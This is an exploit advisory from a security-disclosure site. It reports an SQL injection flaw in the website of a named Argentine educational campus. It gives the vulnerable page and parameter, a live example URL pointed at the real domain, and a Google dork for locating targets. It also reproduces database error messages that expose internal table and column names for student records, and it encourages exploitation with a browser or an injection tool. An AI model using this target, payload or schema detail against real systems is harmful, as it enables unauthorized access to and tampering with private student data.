Campus De La Rivera Argentina SQL Injection

2020.01.10
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

################################################################### # Exploit Title : Campus De La Rivera Argentina SQL Injection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 10/01/2020 # Vendor Homepage : campusdelarivera.edu.ar # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : Campus De La Rivera site:edu.ar # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos ################################################################### # Impact : *********** Campus De La Rivera Argentina is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool. ################################################################### # SQL Injection Exploit : ********************** /pop_notas.php?idrelacion=[SQL Injection] ################################################################### # Example Vulnerable Sites : ************************* [+] campusdelarivera.edu.ar/pop_notas.php?idrelacion=1%27 ################################################################### # Example SQL Database Error : **************************** Error: select c.idcarrera, c.codigo, c.desc_carrera, m.idmodalidad, m.desc_modalidad, p.idperiodo, p.desc_periodo, p.orden_periodo, t.idturno, t.desc_turno from rel_usuarios_carreras uc left join std_carreras c on uc.idcarrera=c.idcarrera left join std_periodos p on uc.idperiodo=p.idperiodo left join std_modalidades m on uc.idmodalidad=m.idmodalidad left join std_turnos t on uc.idturno=t.idturno where (uc.idusuario=) and (c.is_curso<>1) order by p.orden_periodo, uc.audit_fecha_alta You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ') and (c.is_curso<>1) order by p.orden_periodo, uc.audit_fecha_alta' at line 11 Error: select um.*, p.desc_periodo, p.orden_periodo, p.idperiodo, m.desc_materia, m.is_special1, m.is_promocional, um.ciclo as ciclo2,um.cuatrimestre as cuatrimestre2, desc_modalidad, desc_carrera FROM rel_usuarios_materias um left join std_materias m on um.idmateria=m.idmateria left join std_periodos p on m.idperiodo=p.idperiodo left join std_modalidades mo on mo.idmodalidad=um.idmodalidad left join std_carreras c on c.idcarrera=um.idcarrera where (um.idusuario=) and ( (concat(ciclo,um.cuatrimestre) <='20192' and desc_materia<>'') ) AND (m.is_special1<>1 AND m.is_interna<>1) order by orden_periodo, desc_materia, um.ciclo asc, um.cuatrimestre asc You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ') and ( (concat(ciclo,um.cuatrimestre) <='20192' and desc_materia<>'') ) AND (m' at line 10 Error: SELECT um.*, m.*, p.desc_periodo, p.orden_periodo, t.*, d.*, mo.*, um.ciclo as ciclo2, um.cuatrimestre as cuatrimestre2, um.d_fecha_inicio, usc.idsolicitud_tipo, usc.idsolicitud_nro FROM rel_usuarios_materias um LEFT JOIN rel_usuarios_ materias_cursadas_pre um_pre ON um.idrelacion_prev = um_pre.idrelacion LEFT JOIN usr_solicitudes_cambios usc ON um_pre.idsolicitud = usc.idsolicitud LEFT JOIN std_materias m on um.idmateria=m.idmateria LEFT JOIN std_periodos p on m.idperiodo=p.idperiodo LEFT JOIN std_turnos t on um.idturno=t.idturno LEFT JOIN std_divisiones d on um.iddivision=d.iddivision LEFT JOIN std_modalidades mo on um.idmodalidad=mo.idmodalidad WHERE um.idrelacion=1' You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 14 ################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top